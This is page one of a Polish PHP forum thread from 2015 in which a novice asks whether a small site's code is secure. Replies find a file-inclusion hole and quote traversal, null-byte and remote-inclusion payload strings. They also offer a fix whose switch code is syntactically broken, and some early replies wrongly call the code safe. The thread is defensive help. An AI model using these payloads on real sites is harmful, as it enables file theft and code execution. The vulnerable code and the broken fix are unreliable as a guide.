Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

2 Stron V   1 2 >  
Reply to this topicStart new topic
> [HTML][MySQL][PHP]Zabezpieczenie strony w PHP z bazą MySQL bez formularzy itp.
GrumpyDogue
post 25.02.2015, 10:43:26
Post #1





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Witam. Od pewnego czasu nurtuje mnie pewna kwestia. Jak mogę zabezpieczyć swoją stronę? Szukałem wszędzie informacji na ten temat, niestety wszędzie gdzie napisane jest coś o bezpieczeństwie, przykłady dotyczą strony z panelami administracyjnymi, formularzami kontaktowymi itd. Otóż moja strona jest dosyć specyficzna - to zwykła strona informacyjna, która nie zawiera żadnych formularzy itp. Użytkownik praktycznie nigdzie nie podaje wartości żadnej zmiennej. Czytałem sporo poradników na temat bezpieczeństwa i wydaje mi się, że wszystko jest dobrze, jednak bardzo przyda mi się także opinia ekspertów w tej sprawie, gdyż zawsze mogło mi coś umknąć. Byłbym wdzięczny za sprawdzenie czy wszystko jest w porządku w tych linijkach kodu:

  1. <?php
  2. foreach($_GET as $k=>$v)
  3. $_GET[$k] = (preg_match("/[0-9a-z_]+/",$v) ? stripslashes(htmlspecialchars(strip_tags($v))): '');
  4.  
  5. $dzial = $_GET['dzial'];
  6. $strona = $_GET['strona'];
  7.  
  8. $connection = mysql_connect('localhost', 'root', '')
  9. or die('Brak polaczenia z serwerem MySQL.');
  10. $db = mysql_select_db('baza', $connection)
  11. or die('Brak polaczenia z baza danych.');
  12.  
  13. mysql_query("SET NAMES utf8");
  14. ?>


Pliki includuję w ten sposób:
  1. <?php include ("folder/plik.php"); ?>


W ten sposób wczytuję treść do "głównego" diva (na początku kiedy nie ma żadnych zmiennych w pasku adresu, wczytują się newsy):
  1. <?php
  2. if(!empty($dzial))
  3. {
  4. if(is_file($dzial."/".$strona.".html"))
  5. {
  6. include ("include/naglowki.php");
  7. include($dzial."/".$strona.".html");
  8. }
  9. else echo "<p>Nie odnaleziono wybranej strony.</p>";
  10. }
  11. else include ("newsy/news.html");
  12. ?>


W pliku naglowki.php są zmienne, które wyglądają w ten sposób:
  1. <?php
  2. $naglowek1 = "<div style=\"width: 100%; background-image: url(tlo-ramki.jpg);\"><img src=\"tytul.jpg\" alt=\"img\" style=\"width: X%; height: Xpx;\">";
  3. ?>


Nagłówek jest wyświetlany w PLIKU HTML (czy to jest błąd, że plik jest w html i posiada kod php? I tak jest includowany do index.php, więc ma to jakieś znaczenie?) na samym początku w ten sposób:
  1. <?php echo $naglowek1; ?>


Tak wygląda odnośnik w menu*:
  1. <a href="index.php?dzial=gry/gra1&amp;strona=info">Gra 1</a>


Tak wygląda moje zapytanie do bazy MySQL wyciągające newsy:
  1. <?php
  2. $result = mysql_query("SELECT * FROM newsy LIMIT 3");
  3.  
  4. if(mysql_num_rows($result) > 0)
  5. {
  6. while($r = mysql_fetch_assoc($result))
  7. {
  8. echo "<div class='news'>";
  9. echo "<div class='tytul'>";
  10. echo "".$r['data'].": <i style=\"color: gold;\">".$r['tytul']."</i>";
  11. echo "<div class='autor'>Dodał: ".$r['autor']."</div>";
  12. echo "</div>";
  13. echo $r['zawartosc'];
  14. echo "</div>";
  15. }
  16. }
  17. ?>


Zapytanie wyciągające z bazy np. linki do najnowszych filmów z kanału YT:
  1. <?php
  2. $result = mysql_query("SELECT * FROM filmy ORDER BY ID DESC LIMIT 5")
  3. or die('Błąd zapytania');
  4.  
  5. if(mysql_num_rows($result) > 0)
  6. {
  7. while($r = mysql_fetch_assoc($result))
  8. {
  9. echo "<li><a style=\"margin-top: 5px;\" class=\"menu\" target=\"_blank\" href=\"".$r['link']."\">".$r['tytul']."</a></li>";
  10. }
  11. }
  12. ?>


Tak wygląda zawartość kolumny 'zawartosc' w tabeli z newsami w bazie MySQL (czy kod HTML nie jest zagrożeniem kiedy jest pobierany z bazy?):
  1. <img alt="img" src="sciezka/do/obrazka" style="width: x%; height: Xpx;">
  2. <p>Tresc newsa</p>


To jest na końcu pliku index.php
  1. <?php
  2. mysql_close($connection);
  3. ?>


* - odnośnik w menu - zastanawia mnie właśnie czy bezpiecznie jest kiedy w zmiennej znajdują się ukośniki: / (zmienna dział przyjmuje wartość z ukośnikiem: dzial=gry/gra1).

Czy zauważyliście w tym kodzie jakieś luki, które mogłyby umożliwić komuś atak? Będę wdzięczny za przeanalizowanie tych fragmentów kodu. Mam obsesję na tym punkcie, tj. chcę mieć pewność, że strona jest bezpieczna. Pozdrawiam!
Go to the top of the page
+Quote Post
sadistic_son
post 25.02.2015, 10:50:57
Post #2





Grupa: Zarejestrowani
Postów: 1 480
Pomógł: 245
Dołączył: 1.07.2009
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Cytat(GrumpyDogue @ 25.02.2015, 10:43:26 ) *
Użytkownik praktycznie nigdzie nie podaje wartości żadnej zmiennej
Błąd! Ma możliwość podania wartości zmiennej poprzez tablicę $_GET['']. Ale z tego co widzę, przynajmniej w tym kodzie co podałeś, to nie wiele można tym GET'em zdziałać. Wg. mnie nie masz co się obawiać, jest bezpiecznie, przynajmniej od strony PHP/MySQL. Co innego sprawa bezpieczeństwa serwera, ale jeśli gdzieś wynajmujesz serwer to nie masz na to żadnego wpływu.

  1. $connection = mysql_connect('localhost', 'root', '')
Zakładam, że hasło ogólnie masz ustawione, tylko tutaj go nie podałeś. Bo jeśli dostęp do MySQL masz kolego bez hasła to prosisz się o pomstę do nieba.

Ten post edytował sadistic_son 25.02.2015, 10:56:20


--------------------
Uśpieni przez system, wychowani przez media,
Karmieni zmysłami, próżnymi żądzami...

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Jesteś zbyt leniwy, żeby się zarejestrować? Ja jestem zbyt leniwy aby Ci pomóc!
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 11:46:33
Post #3





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Cytat(sadistic_son @ 25.02.2015, 10:50:57 ) *
Błąd! Ma możliwość podania wartości zmiennej poprzez tablicę $_GET['']. Ale z tego co widzę, przynajmniej w tym kodzie co podałeś, to nie wiele można tym GET'em zdziałać. Wg. mnie nie masz co się obawiać, jest bezpiecznie, przynajmniej od strony PHP/MySQL. Co innego sprawa bezpieczeństwa serwera, ale jeśli gdzieś wynajmujesz serwer to nie masz na to żadnego wpływu.

  1. $connection = mysql_connect('localhost', 'root', '')
Zakładam, że hasło ogólnie masz ustawione, tylko tutaj go nie podałeś. Bo jeśli dostęp do MySQL masz kolego bez hasła to prosisz się o pomstę do nieba.


Fakt, mój błąd - użytkownik podaje wartość zmiennej. Hasło do bazy oczywiście mam, o to się nie martw. biggrin.gif Dziękuję bardzo za fachową opinię! Bardzo mnie uspokoiłeś tą wiadomością. biggrin.gif
Go to the top of the page
+Quote Post
Aqu
post 25.02.2015, 12:03:16
Post #4





Grupa: Zarejestrowani
Postów: 279
Pomógł: 58
Dołączył: 14.07.2012

Ostrzeżenie: (0%)
-----


  1. $dzial."/".$strona.

Pokaż co im przypisujesz. Bo jeżeli po prostu:
$dział = $_POST['dzial'] to możliwe, że da się zrobić LFI, wpisując coś w stylu: ../../config.php%00

Ten post edytował Aqu 25.02.2015, 12:03:34
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 12:21:45
Post #5





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Cytat(Aqu @ 25.02.2015, 12:03:16 ) *
  1. $dzial."/".$strona.

Pokaż co im przypisujesz. Bo jeżeli po prostu:
$dział = $_POST['dzial'] to możliwe, że da się zrobić LFI, wpisując coś w stylu: ../../config.php%00

Hm nie wiem czy dobrze rozumiem. Do zmiennej dział przypisuję wartość odnośnikiem w menu:
  1. <a href="index.php?dzial=gry/gra1&amp;strona=info">Gra 1</a>
Go to the top of the page
+Quote Post
Aqu
post 25.02.2015, 12:26:32
Post #6





Grupa: Zarejestrowani
Postów: 279
Pomógł: 58
Dołączył: 14.07.2012

Ostrzeżenie: (0%)
-----


Czyli masz w kodzie:
  1. $dział = $_POST['dzial']
?

Poczytaj http://hakipedia.com/index.php/Local_File_Inclusion
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 12:37:58
Post #7





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Cytat(Aqu @ 25.02.2015, 12:26:32 ) *
Czyli masz w kodzie:
  1. $dział = $_POST['dzial']
?

Poczytaj http://hakipedia.com/index.php/Local_File_Inclusion

Nie mam tego w kodzie. Wszystkie przypadki użycia PHP na całej stronie wrzuciłem w pierwszym poście. wink.gif
Go to the top of the page
+Quote Post
Damonsson
post 25.02.2015, 13:07:40
Post #8





Grupa: Zarejestrowani
Postów: 2 355
Pomógł: 533
Dołączył: 15.01.2010
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


GETa przepuszcza przez preg_match i usuwa co niebezpieczne. POSTa tutaj nie używa.
Wygląda bezpiecznie, na tym kawałku kodu.

Cytat(GrumpyDogue @ 25.02.2015, 10:43:26 ) *
Tak wygląda zawartość kolumny 'zawartosc' w tabeli z newsami w bazie MySQL (czy kod HTML nie jest zagrożeniem kiedy jest pobierany z bazy?)

A to już zależy od tego, kto dodaje te treści do bazy. Jeśli nie Ty i nie dajesz sobie za niego uciąć ręki, że jest bezpieczny, to TAK, jest zagrożeniem.

Ten post edytował Damonsson 25.02.2015, 13:10:13
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 13:14:43
Post #9





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Cytat(Damonsson @ 25.02.2015, 13:07:40 ) *
GETa przepuszcza przez preg_match i usuwa co niebezpieczne. POSTa tutaj nie używa.
Wygląda bezpiecznie, na tym kawałku kodu.


A to już zależy od tego, kto dodaje te treści do bazy. Jeśli nie Ty i nie dajesz sobie za niego uciąć ręki, że jest bezpieczny, to TAK, jest zagrożeniem.

Kod dodaję samodzielnie w panelu phpmyadmin. A za siebie daję sobie uciąć nawet obydwie ręce. biggrin.gif
Go to the top of the page
+Quote Post
Damonsson
post 25.02.2015, 13:25:04
Post #10





Grupa: Zarejestrowani
Postów: 2 355
Pomógł: 533
Dołączył: 15.01.2010
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Czekaj czekaj, mała poprawka, nie zostawiasz tam przecież tylko bezpiecznych znaków w linijce:
  1. $_GET[$k] = (preg_match("/[0-9a-z_]+/",$v) ? stripslashes(htmlspecialchars(strip_tags($v))): '');

Bo:
$_GET['dzial']= '.passwd %00';
po tej linijce nadal zwróci:
$_GET['dzial']= '.passwd %00';

Prawda?

Jeżeli tak, to masz podatność na LFI.
Go to the top of the page
+Quote Post
redeemer
post 25.02.2015, 13:40:10
Post #11





Grupa: Zarejestrowani
Postów: 915
Pomógł: 210
Dołączył: 8.09.2009
Skąd: Tomaszów Lubelski/Wrocław

Ostrzeżenie: (0%)
-----


Cytat(Damonsson @ 25.02.2015, 13:25:04 ) *
Czekaj czekaj, mała poprawka, nie zostawiasz tam przecież tylko bezpiecznych znaków w linijce:
  1. $_GET[$k] = (preg_match("/[0-9a-z_]+/",$v) ? stripslashes(htmlspecialchars(strip_tags($v))): '');

Bo:
$_GET['dzial']= '.passwd %00';
po tej linijce nadal zwróci:
$_GET['dzial']= '.passwd %00';

Prawda?

Jeżeli tak, to masz podatność na LFI.


http://php.net/releases/5_3_4.php
Cytat
Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).


--------------------
Go to the top of the page
+Quote Post
sadistic_son
post 25.02.2015, 13:46:48
Post #12





Grupa: Zarejestrowani
Postów: 1 480
Pomógł: 245
Dołączył: 1.07.2009
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Cytat(Damonsson @ 25.02.2015, 13:25:04 ) *
Czekaj czekaj, mała poprawka, nie zostawiasz tam przecież tylko bezpiecznych znaków w linijce:
  1. $_GET[$k] = (preg_match("/[0-9a-z_]+/",$v) ? stripslashes(htmlspecialchars(strip_tags($v))): '');

Bo:
$_GET['dzial']= '.passwd %00';
po tej linijce nadal zwróci:
$_GET['dzial']= '.passwd %00';

Prawda?

Jeżeli tak, to masz podatność na LFI.

A no racja. Ale wystarczy wrzucić do np. SWITCH() wybór działu, bo zakładam, że te są predefiniowane, i masz LFI z głowy.
Np podmień linijki 7 i 8 z pierwszego okna kodu na:
  1. switch($_GET['dzial']){
  2. case:
  3. $_GET['dzial']="strzelanki";
  4. $dzial = $_GET['dzial'];
  5. break;
  6. case:
  7. $_GET['dzial']="strategie";
  8. $dzial = $_GET['dzial'];
  9. break;
  10. $_GET['dzial']="aRPG";
  11. $dzial = $_GET['dzial'];
  12. break;
  13. default:
  14. $dzial = "strzelanki";
  15. break;
  16. }
  17.  
  18. switch($_GET['strona']){
  19. case:
  20. $_GET['strona']="o strzelankach";
  21. $strona = $_GET['strona'];
  22. break;
  23. case:
  24. $_GET['strona']="o strategiach";
  25. $strona = $_GET['strona'];
  26. break;
  27. $_GET['strona']="o aRPG";
  28. $strona = $_GET['strona'];
  29. break;
  30. default:
  31. $strona = "o strzelankach";
  32. break;
  33. }


EDIT: edytowałem post i poprawiłem drobny błąd.

Ten post edytował sadistic_son 25.02.2015, 13:58:50


--------------------
Uśpieni przez system, wychowani przez media,
Karmieni zmysłami, próżnymi żądzami...

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Jesteś zbyt leniwy, żeby się zarejestrować? Ja jestem zbyt leniwy aby Ci pomóc!
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 14:07:13
Post #13





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Dzięki! A dałoby się to jakoś krócej rozwiązać? Bo sprawa wygląda tak, że podstron mam dziesiątki. Jeśli trzeba to oczywiście zrobię tak jak w tym skrypcie powyżej.

Aa i przypomniał mi się jeden przypadek. Raz na FTP znalazły się jakieś dziwne pliki - ktoś najwidoczniej je w jakiś sposób wrzucił na serwer. Próbowałem je edytować i antywirus natychmiastowo je usunął z plików tymczasowych, po czym oczywiście skasowałem je z serwera. Czy jest w moim kodzie jakaś luka, która pozwoliłaby na wrzucenie plików czy raczej jest to niemożliwe?
Go to the top of the page
+Quote Post
Aqu
post 25.02.2015, 14:22:41
Post #14





Grupa: Zarejestrowani
Postów: 279
Pomógł: 58
Dołączył: 14.07.2012

Ostrzeżenie: (0%)
-----


Możesz po prostu sprawdzać za pomocą preg_match, czy w stringu są tylko litery.
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 14:27:07
Post #15





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Mógłbyś mi pokazać w jaki to sposób będzie wyglądać? Niezbyt się orientuję w PHP, więc ciężko mi zrozumieć niektóre rzeczy o których piszecie. wink.gif

EDIT: no właśnie do zmiennej 'dzial' przypisuję wartość z ukośnikiem. W niektórych przypadkach do zmiennej 'strona' także. To poważny błąd?

Ten post edytował GrumpyDogue 25.02.2015, 14:33:09
Go to the top of the page
+Quote Post
sadistic_son
post 25.02.2015, 14:49:43
Post #16





Grupa: Zarejestrowani
Postów: 1 480
Pomógł: 245
Dołączył: 1.07.2009
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Cytat(GrumpyDogue @ 25.02.2015, 14:07:13 ) *
A dałoby się to jakoś krócej rozwiązać? Bo sprawa wygląda tak, że podstron mam dziesiątki.

Można np. automatycznie zassać do tablicy wszystkie obecne pliki w tym katalogu ale wtedy i tak nie zabezpieczasz się przed tym co opisałeś niżej:
Cytat(GrumpyDogue @ 25.02.2015, 14:07:13 ) *
Raz na FTP znalazły się jakieś dziwne pliki - ktoś najwidoczniej je w jakiś sposób wrzucił na serwer.
Alternatyną, ktrótszą w sensie ilości znaków opcją byłoby zamiast SWITCH() wrzucić wszystkie możliwości do tablicy i potem sprawdzać czy wartość wywoływana w $_GET jest w tablicy. Ale efekt będzie ten sam co przy użyciu SWITCH() a i dochodzi Ci wtedy co najmniej jedna pętla. Jeśli chcesz to pokażę Ci jak to zrobić ale dużo pracy tym nie zaoszczędzisz.


Cytat(Aqu @ 25.02.2015, 14:22:41 ) *
Możesz po prostu sprawdzać za pomocą preg_match, czy w stringu są tylko litery.
To i tak nie zabezpieczy. Wystarczy, że ktoś wrzuci mu do katalogu plik bez rozszerzenia (bo kropkę preg_match wyrzuci) a jego skrypt mu doda do pliku .php. Tak więc nie, nie wystarczy.


Cytat(GrumpyDogue @ 25.02.2015, 14:27:07 ) *
EDIT: no właśnie do zmiennej 'dzial' przypisuję wartość z ukośnikiem. W niektórych przypadkach do zmiennej 'strona' także. To poważny błąd?
Nie, to nie bląd ale może powodować komplikacje. Np. nie bardzo rozumiem po co to robisz. I tak nazwa pliku/katalogu nie może zawierać ani slash'a ani backslash'a. Więc po ch...?

Ogólnie to polecam metodę ze SWTICH() opisaną przeze mnie wcześniej. Bo wystarczy, że ktoś wpisze taki adres:
Kod
http://twoja-strona.pl/index.php?dzial=www.stronaHakeraZeSzkodliwymKodemPHP.pl/plik

I już twój skrypt po wcześniejszym INCLUDE wykonuje kod bandziora.

Ten post edytował sadistic_son 25.02.2015, 14:57:46


--------------------
Uśpieni przez system, wychowani przez media,
Karmieni zmysłami, próżnymi żądzami...

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Jesteś zbyt leniwy, żeby się zarejestrować? Ja jestem zbyt leniwy aby Ci pomóc!
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Go to the top of the page
+Quote Post
GrumpyDogue
post 25.02.2015, 15:10:23
Post #17





Grupa: Zarejestrowani
Postów: 10
Pomógł: 0
Dołączył: 25.02.2015

Ostrzeżenie: (0%)
-----


Dzięki! Więc tak zrobię z tym Switchem. I to powinno zabezpieczyć mnie przed tym co już raz się stało? W sensie, że to uniemożliwi komuś wrzucenie szkodliwych plików PHP?

EDIT: a zmiennym przypisuję wartość z ukośnikiem, bo taką mam strukturę katalogów i jeśli to jest niekonieczne to wolałbym tego nie zmieniać już - w wielu miejscach w internecie pojawiały się już linki do niektórych podstron i gdybym zmienił teraz wszystko to linki przestałyby być aktualne.

Ten post edytował GrumpyDogue 25.02.2015, 15:13:28
Go to the top of the page
+Quote Post
sadistic_son
post 25.02.2015, 15:16:00
Post #18





Grupa: Zarejestrowani
Postów: 1 480
Pomógł: 245
Dołączył: 1.07.2009
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Cytat(GrumpyDogue @ 25.02.2015, 15:10:23 ) *
Dzięki! Więc tak zrobię z tym Switchem. I to powinno zabezpieczyć mnie przed tym co już raz się stało? W sensie, że to uniemożliwi komuś wrzucenie szkodliwych plików PHP?

Zdecydowanie tak! No chyba, że ktoś ma możliwość podmiany Twoich plików na FTP, ale jeśli tak jest to raz, że się przed tym nie zabezpieczysz przy użyciu PHP, a dwa, że wtedy radziłbym pomyśleć o zmianie firmy hostingowej wink.gif

Cytat(GrumpyDogue @ 25.02.2015, 15:10:23 ) *
EDIT: a zmiennym przypisuję wartość z ukośnikiem, bo taką mam strukturę katalogów i jeśli to jest niekonieczne to wolałbym tego nie zmieniać już - w wielu miejscach w internecie pojawiały się już linki do niektórych podstron i gdybym zmienił teraz wszystko to linki przestałyby być aktualne.
Jak już wcześniej pisałem to nie jest błąd, lecz raczej bym tego nie zaliczył do dobrych nawyków. Z tego co pobieżnie przejrzałem Twój kod to Tobie to problemów nie sprawi, więc feel free aby tak to zostawić.

Ten post edytował sadistic_son 25.02.2015, 15:22:19


--------------------
Uśpieni przez system, wychowani przez media,
Karmieni zmysłami, próżnymi żądzami...

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Jesteś zbyt leniwy, żeby się zarejestrować? Ja jestem zbyt leniwy aby Ci pomóc!
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Go to the top of the page
+Quote Post
Aqu
post 25.02.2015, 15:27:57
Post #19





Grupa: Zarejestrowani
Postów: 279
Pomógł: 58
Dołączył: 14.07.2012

Ostrzeżenie: (0%)
-----


Cytat
To i tak nie zabezpieczy. Wystarczy, że ktoś wrzuci mu do katalogu plik bez rozszerzenia (bo kropkę preg_match wyrzuci) a jego skrypt mu doda do pliku .php. Tak więc nie, nie wystarczy.

Jak ktoś ma mu wrzucić plik do katalogu?
Go to the top of the page
+Quote Post
sadistic_son
post 25.02.2015, 15:33:07
Post #20





Grupa: Zarejestrowani
Postów: 1 480
Pomógł: 245
Dołączył: 1.07.2009
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Cytat(Aqu @ 25.02.2015, 15:27:57 ) *
Jak ktoś ma mu wrzucić plik do katalogu?
No przecież napisał wcześniej, że pojawiły mu się kiedyś jakieś pliki na FTP. Nie wiem jak, ale nie jest to niemożliwe.


--------------------
Uśpieni przez system, wychowani przez media,
Karmieni zmysłami, próżnymi żądzami...

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Jesteś zbyt leniwy, żeby się zarejestrować? Ja jestem zbyt leniwy aby Ci pomóc!
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Go to the top of the page
+Quote Post

2 Stron V   1 2 >
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 27.04.2024 - 02:17